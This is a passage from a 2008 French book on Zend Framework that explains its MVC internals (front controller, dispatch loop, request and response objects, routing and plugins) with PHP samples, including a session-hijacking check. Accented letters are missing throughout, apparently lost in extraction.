particulier, est importante, car elle permet de rduire le nombre de lignes de code et de faciliter la maintenance et les volutions de lapplication. Voici, en rponse cela, une proposition de plan daction pour dvelopper une nouvelle fonctionnalit : dterminer quelles sont les fonctionnalits principales et les isoler ; faire la liste des composants qui vont tre rutiliss dans cette nouvelle fonctionnalit, y compris ceux qui devront subir une volution ; vrifier les affirmations suivantes : - il ny a aucune fonctionnalit spcifique dans les composants dvelopper dans library, sauf sil sagit dun composant qui porte directement sur ma fonctionnalit ; - mes contrleurs ne seront pas encombrs de code redondant et potentiellement rutilisable. Jai prvu des aides daction pour factoriser les traitements similaires, et mes actions ne dpasseront pas 20 lignes de code ; - mes modles rpondent exactement mes besoins, ni plus ni moins. Je ne fais pas dextraction de donnes inutiles et jai cr des vues adaptes mes besoins, ainsi que les modles correspondants ; - mes vues sont bien ranges, et tout code commun est plac dans une aide de vue, une vue partielle ou un gabarit (layout). dvelopper et prendre le temps de remanier lexistant, car il y a toujours des dtails amliorer : entorse aux rgles de Zend Framework, code mettre en facteur, action mal place, etc... Enfin, pour terminer sur ce sujet, et au risque de nous rpter, voici les diffrents moyens qui existent et quil faut avoir en tte pour rutiliser avec Zend Framework : le composant, plac quelque part dans la hirarchie du rpertoire library, permet une rutilisation entre plusieurs applications. Il est particulirement adapt des dveloppements lourds et pourra mme tre plac sur un disque rseau, commun toutes les applications ; laide daction permet de rutiliser des mcanismes redondants dans les actions : formatage, traitement de donnes, factorisation de fonctionnalits, etc ; laide de vue permet de faire la mme chose avec la partie prsentation : factorisation de code commun comme les gabarits de pages ou de blocs, les menus, laffichage dune remarque ou dun bloc, etc. ; linjection dun plugin ( base de Zend_Controller_ Plugin_Abstract, abord dans le chapitre suivant) permet la mise en uvre de composants rutilisables qui concernent la partie MVC de lapplication ; les mthodes de prdispatching et de postdispatching. Nous avons vu jusquici init() et postDispatch(). Une bonne comprhension de la boucle de dispatching (aborde dans le chapitre suivant) peut vous permettre de rpartir correctement votre code suivant son domaine de rutilisation : contrleur, inter-contrleur, inter-module, etc. Lapplication que nous mettons en uvre dans cet ouvrage offre une rpartition de code classique, telle que Zend Framework la recommande.

98

Groupe Eyrolles, 2008

En rsum
Nous venons dapprendre utiliser des composants essentiels tels que Zend_Controller, Zend_Layout ou Zend_View. Il est important dassimiler leur rle et leurs mcanismes fondamentaux. Voici les points cls retenir : Le composant contrleur Zend_Controller fournit les mcanismes du contrleur frontal, du routage et du dispatching de Zend Framework. Il propose galement la mise en place de plugins et daides d'action que lon peut lier la boucle de dispatching. Le composant Zend_View assure la gestion du contenu des pages (HTML, etc.). Il propose pour chaque template un environnement clos et contrl ainsi que des aides de vue pour mettre en facteur les blocs de contenu redondants. Le composant Zend_Layout permet la mise en place dun ou plusieurs gabarits principaux. Il est souvent utilis pour le gabarit gnral des pages dune application web.

Groupe Eyrolles, 2008

99

6 Architecture MVC

chapitre

Groupe Eyrolles, 2008

Architecture MVC avance

SOMMAIRE

B Architecture interne

Lexploitation dun outil ne peut tre optimale sans une parfaite matrise de celui-ci. Dans le cadre dun dveloppement critique, il est ncessaire de comprendre les mcanismes internes du composant qui se trouve au cur de votre systme. La matrise du cur est lassurance vie de tout projet stratgique.

du composant Zend_Controller

B Parcours dtaill dune requte


HTTP travers MVC COMPOSANTS

B Zend_Controller B Zend_Layout B Zend_View


MOTS-CLS

B MVC B bootstrap B dispatching B routage B plugin B helper B handler

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

Nous venons daborder la mise en place dune architecture MVC simple avec Zend Framework. Nous allons maintenant entrer dans les entrailles des objets du modle MVC. Une comprhension prcise et complte de la mcanique gnrale permet en effet de mieux aborder le systme et de mieux traiter des problmes complexes.

Zend_Controller : utilisation avance


Bien comprendre, en profondeur, le fonctionnement du modle MVC de Zend Framework est un atout considrable pour construire des applications robustes, puissantes, testables et volutives. Il sagit en fait de comprendre exactement ce que produit chaque ligne de code que lon crit, et pour cela, nous allons ici dtailler une grande partie des objets internes au modle MVC de Zend Framework, toujours au travers de notre application exemple. Attention, certains concepts de ce chapitre ncessitent de votre part une parfaite matrise du modle objet et une bonne comprhension gnrale du pattern MVC de Zend Framework (voir pour cela les annexes C et E).

Figure 71 Diagramme de classes global simplifi du modle MVC de ZendFramework

Les diffrents objets de MVC


La figure 7-2 illustre les principaux objets que lon dtaillera par la suite. Cette section prsente le rle de ces objets, et les sections suivantes dcriront leur utilisation dtaille dans le workflow de Zend_Controller. 102
Groupe Eyrolles, 2008

Le contrleur frontal (FrontController) est un motif de conception destin prendre en charge lanalyse de toutes les requtes du visiteur. Il est le seul et unique point dentre de lapplication et va orchestrer toute la suite. Il est ainsi reprsent par un objet de la plus haute importance. Comme il reprsente (conceptuellement) lapplication part entire, il sagit dun singleton qui est initialis dans un fichier spcial, que lon appelle fichier damorage ou bootstrap.

VOCABULAIRE Bootstrap
Le bootstrap est le fichier damorage du systme MVC. Bas sur un contrleur frontal, il est aussi lunique point dentre de lapplication et sera le seul fichier PHP disponible la racine du site (dans le DocumentRoot dApache). Ce fichier est le seul tre nomm index.php (en gnral).

Figure 72

Principaux objets lis Zend_Controller

Lobjet de requte va reprsenter la requte HTTP dentre dans le systme. Cet objet va alors principalement donner accs aux en-ttes de la requte et il sera pass tous les contrleurs daction. Lobjet de rponse reprsente la rponse HTTP renvoye au client. Le rendu dune vue seffectue lintrieur de cet objet, qui ne recevra lordre denvoyer son contenu (affichage de la rponse) qu la toute fin du processus. Le routeur : le rle de cet objet est danalyser la requte et den dduire un trio module/contrleur/action en fonction de certaines rgles de routage, elles aussi reprsentes sous forme dobjets. Le distributeur (que lon appelle aussi dispatcheur) est un objet qui a pour rle de dtecter si le trio module/contrleur/action peut tre lanc. Il va contrler le processus de traitement de laction et ventuellement proposer des valeurs par dfaut. Cest lui qui intervient dans ce quon appelle la boucle de distribution et rpartition de la requte (aussi appele boucle de dispatching).
Groupe Eyrolles, 2008

103

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

Les contrleurs daction sont les objets qui vont dcrire le processus mtier de traitement dune requte. Ce sont des classes importantes que les dveloppeurs doivent entirement crire. On les appelle plus communment les contrleurs. Les plugins sont des objets grs par le contrleur frontal. Il en existe dans la distribution de base, mais on peut aussi en ajouter des personnaliss. Ils servent factoriser un traitement redondant dans tout le systme de distribution. Le rle des aides daction est trs proche de celui des plugins. Ces objets encapsulent du code redondant dans toutes les actions du systme mais, contrairement aux plugins, ils peuvent interagir directement avec laction laquelle ils sont rattachs. La vue est reprsente par un objet qui contiendra en gnral du code HTML. Son rle est dagencer et dafficher les informations en provenance des contrleurs daction. Le layout est un template de vue particulier. Sa particularit est quil se situe un niveau plus haut et encapsule la vue initiale. Son but principal est de dfinir le gabarit HTML de lapplication (qui comprend souvent len-tte, le pied de page, les styles CSS, etc.).

Figure 73

Schma global du traitement MVC de Zend Framework

Fonctionnement global de MVC


Ce quil est trs important de noter, pour comprendre le modle MVC, cest que la requte et la rponse HTTP du systme sont des objets, entirement guids par le contrleur frontal (qui dlgue pour sa part beaucoup de traitements dautres objets, comme le distributeur ou dispatcheur, par exemple). Sur la figure 7-2, chaque cercle reprsent correspond un objet.

104

Groupe Eyrolles, 2008

Excution du processus de distribution de la requte


Tout ce processus de traitement de la requte, en vue de crer et de remplir une rponse, est appel processus de distribution et de rpartition de la requte. Il intgre que que lon appelle la boucle de distribution et de rpartition, illustre sur les figures 7-4 et 7-5.
T Distribution et rpartition

de la requte
La distribution de la requte (dispatching, appel parfois dispatchage), doit tre comprise comme le processus de distribution, de suivi et de traitement de lobjet de requte dans le systme MVC global. Cest la moelle pinire de MVC.

Figure 74

Schma dtaill du traitement MVC de Zend Framework

Groupe Eyrolles, 2008

105

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

Lorsquon lance le processus de distribution et de rpartition de la requte en appelant la mthode dispatch() sur linstance du contrleur frontal (note FC ), le processus gnral suivant est alors excut (on suppose ici que lon a une structure basique, que tous les fichiers existent et que tout se passe normalement) : 1 FC initialise les plugins, le routeur, le distributeur et cre un objet de requte et un objet de rponse, tous les deux vierges. 2 FC excute routeStartup() pour tous les plugins qui lui ont t injects. 3 FC excute une routine sur le routeur pour rcuprer trois paramtres dans lobjet de requte : un module, un contrleur et une action. 4 FC excute routeShutdown() pour tous les plugins qui lui ont t injects. 5 FC excute dispatchLoopStartup() pour tous les plugins qui lui ont t injects. 6 FC entre dans la boucle de distribution et de rpartition de la requte, tant que lobjet de requte nest pas distribu : FC marque lobjet de requte comme tant distribu (isDispatched() = true) ; FC excute preDispatch() pour tous les plugins qui lui ont t injects ; FC demande au distributeur de distribuer lobjet de requte pralablement rempli par le routeur. Il connat donc dj ses module, contrleur et action ; le distributeur instancie le contrleur daction ; le distributeur marque lobjet de requte comme distribu, afin de pouvoir sortir de la boucle de distribution de la requte ; le distributeur excute dispatch() sur le contrleur daction ; le contrleur daction initialis excute sa mthode init() ; le contrleur daction excute notifyPreDispatch() pour toutes les aides daction qui lui ont t passes ; le contrleur daction excute son preDispatch() ; le contrleur daction excute son action MVC, il sagit l du code mtier principal ; le contrleur daction excute son postDispatch() ; le contrleur daction excute notifyPostDispatch() pour toutes les aides daction qui lui ont t passes, dont une (active par dfaut) qui se charge de rendre la vue dans lobjet de rponse ;

106

Groupe Eyrolles, 2008

FC excute postDispatch() pour tous les plugins qui lui ont t injects ; la boucle de distribution et de rpartition de la requte recommence si la requte nest pas marque comme distribue (typiquement : redirection HTTP ou dcoupage dune action en plusieurs contrleurs). 7 FC excute dispatchLoopShutdown() pour tous les plugins qui lui ont t injects. 8 FC demande lobjet de rponse complt de safficher.

Figure 75 Diagramme de squence simplifi du processus MVC de Zend Framework

Groupe Eyrolles, 2008

107

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

Un processus flexible et avanc


Ce long processus, qui semble complexe premire vue, propose en ralit une flexibilit de programmation avance. La figure 7-5 propose un diagramme de squence simplifi du processus MVC, tandis que la figure 7-6 illustre le cheminement dune requte travers le routage et la distribution de la requte. Les plugins, notamment, reprsentent un intrt certain. Agissant en partie dans la boucle de distribution et de rpartition de la requte, il est facile de rassembler des responsabilits prcises de lapplication dans un plugin.

Figure 76

Parcours dune requte travers le routage et la distribution de la requte

108

Groupe Eyrolles, 2008

On aura par exemple un plugin dauthentification qui se chargera de veiller ce quon ne puisse accder une ressource que par un rle particulier, ou encore par un plugin de cache qui se chargera de reprer si laction en cours a dj t distribue et, le cas chant, de fournir une version de la rponse depuis le cache. Les possibilits sont infinies et vont dpendre de lapplication et de ses besoins, sachant quun plugin pourra, la plupart du temps, tre rutilis entre plusieurs applications. Zend Framework enregistre lui-mme par dfaut un plugin dans le contrleur frontal lors de son lancement : errorHandler. Les aides daction, quant elles, vont permettre de mettre en commun des processus que les actions utilisent. On voit, sur le diagramme de squence (figure 7-5) et le parcours de la requte (figure 7-6), que les aides daction (HelperBroker) ont un champ daction moindre que les plugins. Zend Framework enregistre pour lui-mme une aide daction lors du lancement du traitement MVC : ViewRenderer. Son rle est de rendre automatiquement une vue la fin de toute action, sauf si une mention contraire lui a t spcifie.

Fonctionnement dtaill des objets du modle MVC


Nous venons de comprendre lalgorithme gnral du routage et de la distribution, ainsi que les principales tapes de ce processus. Dans les sections qui suivent, nous allons tudier plus en dtail les objets qui entrent en jeu dans ce processus et leur utilit.

Contrleur frontal (FrontController)


Introduction Comme nous lavons dj vu, le contrleur frontal possde un rle dune grande importance : il sagit du chef dorchestre de lapplication (voir la figure 7-2). Cest lui qui va soccuper de crer et darticuler entre eux une trs grande partie des objets intervenant dans le processus MVC. Ainsi, si on a besoin dun objet, il est fort probable que le contrleur frontal soit en mesure de nous le fournir, directement ou indirectement. On notera donc, sur les schmas UML, le nombre important de dpendances de cet objet. Le contrleur frontal tant un singleton, il est possible de faire appel lui o que ce soit, dans nimporte quel fichier. Lappel du bootstrap est une tape importante pour le contrleur frontal, car cest cet endroit que lon va le crer. Cest galement l quon va ventuellement le configurer, cest--dire lui passer des paramtres ou des objets qui vont alors tre propags dans le processus MVC, avant de lancer la distribution, via sa mthode dispatch().
Groupe Eyrolles, 2008

RAPPEL POO et rutilisabilit


Rappelez-vous que la dmarche oriente objet permet de distinguer trs clairement les responsabilits du code. Dans MVC plus quailleurs encore, chaque objet possde un groupe de responsabilits trs prcises et complmentaires. Si lon a besoin dune information, il nexiste quun seul objet susceptible de la fournir. Il sagit alors de savoir comment y accder, ventuellement en passant par un autre objet.

109

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

Figure 77

Diagramme de classes simplifi de lobjet Zend_Controller_Front

Capacits, possibilits Sans vouloir rpter le schma UML, voici certaines actions remarquables quil est possible de raliser avec le contrleur frontal : lui passer, avant la distribution de la requte, un objet de requte et/ ou de rponse prconfigur ; lui demander de dsactiver les fonctionnalits intgres, telles que le plugin de dtection derreurs (ErrorHandler) et/ou laide daction de rendu automatique de la vue (ViewRenderer) ; lui enregistrer des plugins ; lui demander de nous fournir linstance du routeur et du distributeur utiliss (le contrleur frontal est le seul objet capable de raliser cela) ; lui demander de renvoyer les exceptions quil a rencontres lors du processus de distribution et de rpartition de la requte, plutt que de se reposer sur le plugin ErrorHandler ; lui passer des paramtres divers, quil va se contenter de propager dans le systme MVC, et plus prcisment aux contrleurs daction (en passant par le distributeur). Il agit ainsi comme un registre global pour MVC.

110

Groupe Eyrolles, 2008

Dtaillons quelques-unes de ces possibilits en regardant notre application dexemple :


bootstrap : index.php
$frontController = Zend_Controller_Front::getInstance(); $frontController->setControllerDirectory($appPath . '/controllers'); $frontController->throwExceptions(false); // propagation de paramtres dans le systme MVC $frontController->setParam('debug', $configMain->debug); $frontController->setParam('locale', $locale); $frontController->setParam('config', $configMain); // enregistrement du plugin de sauvegarde de la page prcdente $plugin = new Zfbook_Controller_Plugins_Session; $frontController->registerPlugin($plugin);

La configuration minimale requise pour le contrleur frontal est simple. Il sait se dbrouiller tout seul, crer et manipuler tous les objets dont il aura besoin. Il demande, en revanche, de connatre absolument le rpertoire o se trouvent les contrleurs daction. La mthode setControllerDirectory() permet de le lui indiquer. Il est aussi possible de lui spcifier un dossier qui comportera des modules avec addModuleDirectory(). Il va ainsi parcourir ce dossier la recherche de rpertoires appels controllers. La mthode setParam() permet denvoyer un paramtre propager dans le MVC. Ce processus est trs semblable lutilisation de Zend_Registry, si ce nest que les paramtres ne seront accessibles quaux contrleurs daction, en invoquant leur mthode getInvokeArg(). Dans notre exemple, nous passons certains objets indpendants du MVC, de manire pouvoir les partager entre tous les contrleurs et les utiliser pleinement au sein de ceux-ci.
Suite de index.php
// configuration dun en-tte de rponse HTTP global $response = new Zend_Controller_Response_Http(); $response->setRawHeader('Content-type: text/html; X charset=utf-8'); // passage de la rponse configure au systme MVC $frontController->setResponse($response);

IMPORTANT Objets par dfaut


Lors de la distribution de la requte, le contrleur frontal cre lui-mme tous les objets dont il a besoin, sauf si ceux-ci lui ont t passs explicitement. Une erreur courante consiste crer et configurer lun de ces objets et doublier btement de passer son instance au contrleur frontal.

Ici, nous crons nous-mmes un objet de rponse, et nous le passons au contrleur frontal afin que le systme MVC lutilise.

Groupe Eyrolles, 2008

111

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

Les objets que le contrleur frontal cre et utilise, si on ne lui passe pas dinstances explicites, sont les suivants : lobjet de requte ; lobjet de rponse ; le distributeur (dispatcheur) ; le routeur. Changer lun de ces objets en injectant une instance personnalise va donc avoir des rpercussions dans tout le modle MVC, et toute lapplication sera concerne directement. Lancer l'application au travers du contrleur frontal
Suite de index.php
try { $frontController->dispatch(); } catch (Zend_Exception $e) { $log->crit($e); }

Trs important : la distribution et rpartition de la requte. dispatch() lance le processus MVC complet. partir de cet instant, le contrleur frontal, frachement configur, va assurer un norme travail dorchestration du processus MVC. Les exceptions que le contrleur frontal va ventuellement rencontrer vont ici tre traites par le plugin ErrorHandler et ne devraient, en thorie, jamais remonter jusquau bootstrap, ni donc jusqu ce bloc try/catch. Ceci en raison de la ligne $frontController->throwExceptions(false). Le comportement par dfaut du contrleur frontal consiste ne pas faire remonter au niveau de sa mthode dispatch() les exceptions quil rencontre ventuellement. Ce comportement suit les rgles suivantes : si on passe false la mthode throwExceptions() (comportement par dfaut), alors le plugin ErrorHandler distribuera le contrleur derreur, si une exception est leve, nimporte o dans le systme MVC ; si une exception est leve dans le contrleur derreur utilis par ErrorHandler, alors celle-ci remontera tout de mme au niveau de la mthode dispatch(), autrement une boucle infinie risque dapparatre ; si on passe true la mthode throwExceptions(), alors le plugin ErrorHandler nest pas enregistr dans le systme MVC, et toute exception y apparaissant remontera directement jusqu lappel de la mthode dispatch() sur le contrleur frontal.

112

Groupe Eyrolles, 2008

Pour conclure sur la gestion des exceptions, il faut systmatiquement entourer la mthode dispatch() dun bloc try/catch, car mme si le contrleur derreur est utilis (cas par dfaut), il peut tout de mme sy produire une exception qui remontera alors jusqu lappel de dispatch(). Ainsi, les exceptions interceptes autour de la mthode dispatch() sont importantes, tout simplement parce quelles ne devraient en thorie jamais survenir, et toute votre attention sera ncessaire sur ce point. Nous avons choisi ici de les conserver sous forme de journal, sans autre forme de traitement.

Objet de requte
Introduction Lobjet de requte reprsente la requte HTTP (sauf dans le cas des tests, cas dtaill au chapitre 14). Trs simplement, il sagit dun objet qui va piloter les tableaux PHP $_SERVER, $_ENV,$_GET, $_POST et $_COOKIE puis qui va les rendre accessibles (et mme un peu plus) au moyen de mthodes. Lobjet utilis par dfaut est Zend_Controller_Request_Http.

Figure 78

Diagramme de classes simplifi de Zend_Controller_Request Groupe Eyrolles, 2008

113

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

Notions importantes Les notions trs importantes comprendre sur cet objet sont les suivantes : Lobjet de requte comporte trois attributs protgs (possdant des accesseurs) : $_controller, $_action et $_module. Ces attributs sont remplis par le routeur lors du processus de routage et il dterminent le module, le contrleur et laction lancer, via le distributeur. On notera donc que modifier ces paramtres avant la distribution de la requte va entraner un changement dans le contrleur distribu. Cest ce que fait le plugin ErrorHandler par exemple. Lattribut isDispatched est appel jeton de distribution, et il est positionn par dfaut false. Il joue un rle primordial dans la boucle de distribution et de rpartition de la requte, lance par le contrleur frontal. Tant quil est false, la boucle va tourner. Il est bien entendu mis true par le distributeur au dbut du traitement de la requte, juste avant linstanciation du contrleur daction adquat. Mais aprs, il pourra tre remis false, par exemple par un appel _forward()dans un contrleur daction. Une autre requte sera alors joue et si on ne fait pas attention, on peut tomber dans une boucle infinie. Souvenez-vous de lnonc que nous avions dtaill dans la section Fonctionnement global de ce chapitre. Buts et utilit
ATTENTION
getParam() et sources de donnes
getParam() permet de rcuprer les paramtres quune route spciale aura dtects, mais permet aussi de rcuprer des paramtres GET ou POST. Gardez lesprit quil faut systmatiquement savoir do viennent les paramtres. Se reposer sur getParam() en permanence, mme pour rcuprer un paramtre GET, nest clairement pas recommand si la route est susceptible elle aussi de rcuprer un paramtre depuis lURL. Ceci peut mener des erreurs difficiles dtecter, voire des problmes de scurit.

Concrtement, on interroge lobjet de requte principalement dans le but de rcuprer les paramtres de la requte. Ceux-ci peuvent tre : les paramtres GET, rcuprs via getQuery() ; les paramtres POST, rcuprs via getPost() ; les cookies, rcuprs via getCookie() ; les paramtre du serveur, rcuprs via getServer() ; les paramtres spciaux des routes dfinies manuellement, rcuprs via getParam() ; dautres encore... Lobjet de requte donne aussi accs un paramtre important : la baseUrl (URL de base ou URL racine). La baseUrl est lURL de base de lapplication, partir de laquelle la route va tre calcule. Par exemple, http://localhost/ZFBook/html/reservation/edit est une URL dont la baseUrl est /ZFBook/html/. Cette dernire est calcule automatiquement par lobjet de requte, sur demande du contrleur frontal lors de la distribution de la requte, en utilisant un savant jeu entre les cls SCRIPT_FILENAME, SCRIPT_NAME, PHP_SELF et ORIG_SCRIPT_NAME de $_SERVER. Cependant, si celle-ci venait tre mal calcule, vous pourriez la spcifier manuelle Groupe Eyrolles, 2008

114

ment avec la mthode setBaseUrl() de lobjet de requte ou du contrleur frontal (qui va la renvoyer lobjet de requte). Il a par exemple t reconnu que la cration dhtes virtuels Apache, contenant des alias Apache, pose des problmes lors de la reconnaissance automatique de la baseUrl. Cela fausse totalement le processus de routage et de cration de liens. Aussi, nous vous recommandons de rester le plus simple possible dans vos URL et dviter les caractres exotiques qui peuvent gner la dtection automatique de la baseUrl. Si vous avez besoin de crer des applications complexes, bases sur des URL charges ou grant des sous-domaines via le contrleur frontal, nous vous conseillons de bien lire toute la source de Zend Framework relative ces questions, afin de bien en comprendre le fonctionnement. Quoiquil en soit, dans la majeure partie des cas heureusement, la est calcule de manire correcte. Le routeur intervient alors pour faire son travail (que nous dtaillerons bientt). Les mthodes relatives la cration dURL possdent quelquefois un paramtre permettant de prinsrer lURL de base aux URL (prependBase).
baseUrl

Objet de rponse
lautre extrmit de la chane MVC se situe lobjet de rponse. Il est cr par le contrleur frontal, lors de la distribution de la requte, sauf si on spcifie sa propre instance personnalise (ce que nous faisons dans notre application). Lobjet utilis par dfaut est Zend_Controller_Response_Http. Le schma UML, reprsent sur la figure 7-9, est assez explicite pour en comprendre le rle et les objectifs. En thorie, nous navons pas besoin de toucher lobjet de rponse nous-mmes, une fois la distribution lance, car cest lobjet de vue, ou de layout, qui va lutiliser pour rendre son contenu lintrieur. Le contenu de lobjet de rponse est compos de trois parties : les en-ttes de la rponse HTTP ; le corps (body) de la rponse HTTP, qui se dcompose lui-mme en segments, reprsents par les cls dun tableau PHP, permettant des permutations dans laffichage de la rponse (un texte affich un instant t peut tre stock dans un segment infrieur celui comportant du texte rendu un instant t-1) ; les exceptions qui ont t rencontres dans le systme MVC, qui sont ajoutes par le contrleur frontal ou le distributeur.

Groupe Eyrolles, 2008

115

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

Figure 79

Diagramme de classes simplifi de Zend_Controller_Response

Intgr dans la chane MVC, cet objet est pilot par le contrleur frontal et peut tre retourn par la mthode dispatch() de ce dernier, si returnResponse(true) lui est pass. Dans le cas contraire, le contrleur frontal demande lenvoi de la rponse la fin de la distribution de la requte, au moyen de sa mthode sendResponse(). Celle-ci pilote simplement lenvoi des en-ttes encapsuls dans lobjet de rponse au moyen de la fonction header() de PHP, puis le contenu prsent dans les segments du corps de la rponse est affich avec un simple echo PHP. Accder lobjet de rponse est possible en plusieurs points du modle MVC : dans le contrleur frontal, qui se charge aussi de crer cet objet si vous ne lui en avez pas pass une instance avant la distribution de la requte ; dans tous les plugins ; dans tous les contrleurs daction ; dans toutes les aides daction. En temps normal, il nest pas de notre ressort de piloter cet objet. Nous verrons plus tard quune aide daction appele ViewRenderer se charge de rendre une vue pour chaque contrleur daction, dans le corps de lobjet de rponse. 116
Groupe Eyrolles, 2008

Routeur
Introduction Le diagramme de squence de la figure 7-5 le montre bien : pour chaque requte HTTP, le routage nintervient quune et une seule fois. Le routage est laction qui consiste analyser lURL afin den dduire un module, un contrleur, une action et des paramtres qui vont tre enregistrs dans lobjet de requte, puis traits par le distributeur. Le routeur par dfaut est un objet Zend_Controller_Router_Rewrite, et cest actuellement le seul routeur de Zend Framework. Comme son nom lindique, cest un routeur de rcriture, cest--dire quil va donner une signification smantique aux URL de lapplication en fonction de rgles. Par contre, il ne travaille pas seul : il utilise des routes, objets implmentant Zend_Controller_Router_Route_Interface, pour assurer ce rle.

Figure 710

Diagramme de classes simplifi de Zend_Controller_Router

Groupe Eyrolles, 2008

117

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

Fonctionnement Le fonctionnement du routeur est le suivant : il utilise le Path_Info de la requte pour ses analyses ; il passe par toutes les routes qui y sont enregistres et il leur demande, en ordre LIFO (Last In, First Out ou dernier entr, premier sorti), danalyser le Path_Info de la requte ; la premire route qui trouve une correspondance est utilise et arrte le processus de routage ; ds quune route trouve une correspondance, elle la renvoie au routeur qui linjecte alors dans les paramtres $_controller, $_action,$_module et $_params de lobjet de requte ; les correspondances sont tablies en interne avec des expressions rgulires. le routeur est un objet Cest cette route qui utilise le pattern http://base-url/[module]/controller/action/param1/valeur1.
Zend_Controller_Router_Route_Module.

La

route

par

dfaut

dans

Ce pattern permet de rendre le module facultatif ; ainsi, la route par dfaut essayera de dterminer tout dabord un module, en se rfrant ceux dfinis dans le contrleur frontal, puis, si elle nen trouve pas, elle envisagera un contrleur. Cest pour cela que diffrentes URL comme http://base-url/ et http://base-url/defaultmodule/ somecontroller/someaction somecontroller/someaction/ mnent vers le mme rsultat. Il est possible de totalement personnaliser le processus de routage en ajoutant des routes bases sur lune des nombreuses classes du routeur prvues cet effet. La documentation officielle dtaille correctement tout cela. Voyons un exemple avec notre application qui se base largement sur le routage par dfaut, mais dfinit trois routes personnalises appeles reservations, unauthorized et contact.
Dfinition de routes personnalises, index.php
// extraction de lobjet routeur $router = $frontController->getRouter(); // dfinition et ajout de routes contact // ... // $configRoutes est un objet Zend_Config $router->addConfig($configRoutes, 'routes');

118

Groupe Eyrolles, 2008

Figure 711

Diagramme de classes des routeurs disponibles

Nous avons jug que le plus intressant tait de jouer avec la capacit qua le routeur dinteragir avec un objet Zend_Config. Voici le ntre :
application/config/routes.ini
routes.contact.type = Zend_Controller_Router_Route_Static routes.contact.route = contactez-nous routes.contact.defaults.controller = index routes.contact.defaults.action = contact routes.reservations.type = Zend_Controller_Router_Route_Regex routes.reservations.route = "lister-les-reservations-page-(\d+)" routes.reservations.defaults.controller = reservation routes.reservations.defaults.action = list routes.reservations.defaults.page = 1 routes.reservations.map.1 = page routes.reservations.reverse = lister-les-reservations-page-%d

Nous utilisons deux types de routes : une route statique permettant de faire correspondre de manire permanente une URL un trio module/ contrleur/action ; et une route base sur une expression rgulire.

Groupe Eyrolles, 2008

119

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

Pour ne pas nous contenter de rpter la documentation, notons plutt les points importants concernant le fonctionnement des routes sous Zend Framework : Les routes sont analyses dans lordre LIFO : la dernire route ajoute sera essaye en premier, et la premire route de la pile qui trouve correspondance avec lURL sera utilise. Mfiez-vous lorsque vous avez beaucoup de routes, commencez toujours par crire la plus gnrique jusqu la plus spcifique, en dernier. Nommez toujours vos routes et faites attention ne pas craser la route par dfaut, nomme default. Le cas chant, prenez conscience que le systme danalyse des URL par dfaut sera alors annul par la route que vous dfinissez comme tant celle par dfaut. Les routes utilisent des expressions rgulires parfois charges qui peuvent altrer les performances. Plus vous avez de routes (a fortiori bases sur la route Regex), plus lalgorithme sera lent. Le routeur fonctionne double sens et les aides de vue et daction appeles url utilisent directement le routeur, voire la route que vous leur spcifiez en paramtre pour crer des URL (reverse). Lorsque vous dfinissez des paramtres de requte dans vos routes, ils seront accessibles via la mthode getParam() de lobjet de requte, et il auront le nom que vous leur avez donn.

Plugins de contrleur frontal


RAPPEL Processus MVC
Nous vous suggrons de bien relire le processus MVC global, que nous avons dcrit dans ce chapitre, dans la section Fonctionnement Global, et de bien vous en imprgner.

classes qui tendent Leurs instances sont cres et ajoutes manuellement au contrleur frontal, avant la distribution de la requte. Leur but est dintercaler un traitement qui est commun toute lapplication. Plutt que de dupliquer ce traitement dans toutes les actions, ou de driver une classe du systme MVC de Zend Framework, la cration dun plugin est souvent la solution ce type de problme.
Zend_Controller_Plugin_Abstract.

Les

plugins

sont

des

titre dexemple, tudions le plugin prsent dans notre application :


Zfbook/Controller/Plugin/Session.php
<?php class Zfbook_Controller_Plugins_Session extends X Zend_Controller_Plugin_Abstract { private $_session; private $_clientHeaders; public function __construct() {

120

Groupe Eyrolles, 2008

$this->_session = Zend_Registry::get('session'); $this->_clientHeaders = $_SERVER['HTTP_USER_AGENT']; if (array_key_exists('HTTP_ACCEPT', $_SERVER)) { $this->_clientHeaders .= $_SERVER['HTTP_ACCEPT']; } $this->_clientHeaders = md5($this->_clientHeaders); } public function dispatchLoopStartup( X Zend_Controller_Request_Abstract $request) { if(Zend_Auth::getInstance()->hasIdentity()) { if ($this->_session->clientBrowser X != $this->_clientHeaders) { Zend_Session::destroy(); $this->_response->setHttpResponseCode(403); $this->_response->clearBody(); $this->_response->sendResponse(); exit; } } }

public function dispatchLoopShutdown() { $this->_session->requestUri = X $this->getRequest()->getRequestUri(); $this->_session->clientBrowser = $this->_clientHeaders; } }

Pour la prise en compte de ce plugin, il est ncessaire de le dclarer dans le bootstrap de la manire suivante :
Dclaration du plugin dans le bootstrap
$frontController = Zend_Controller_Front::getInstance(); // ... $frontController->registerPlugin(new Zfbook_Controller_Plugins_Session);

La construction du plugin nintervient quune seule fois par requte HTTP. la construction, nous analysons les en-ttes HTTP du client et nous les stockons dans un attribut priv de la classe. Sur lvnement dispatchLoopStartup(), qui intervient pour rappel juste avant lentre en boucle de distribution et de rpartition de la requte, nous vrifions si lutilisateur client est bien identifi. Si tel est le cas, alors nous comparons les en-ttes de son navigateur ceux stocks dans la session lors de sa prcdente visite. Sils ne correspondent pas, alors il ne sagit trs probablement pas de la mme personne, la session a certai Groupe Eyrolles, 2008

121

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

nement t intercepte et nous arrtons le traitement sur-le-champ, en prenant soin de dtruire la session. Sur lvnement dispatchLoopShutdown(), qui intervient juste aprs la sortie de la boucle de distribution de la requte (il ne reste donc plus daction distribuer, et nous nous apprtons rendre la rponse au client), nous enregistrons simplement en session les en-ttes du navigateur client, afin de pouvoir nous en servir dans la requte suivante, titre de comparaison. Aussi, nous profitons de cet vnement pour enregistrer lURL actuelle en session. Ceci nous servira pour renvoyer lutilisateur do il vient.

Figure 712

Diagramme de classes simplifi de la gestion des plugins

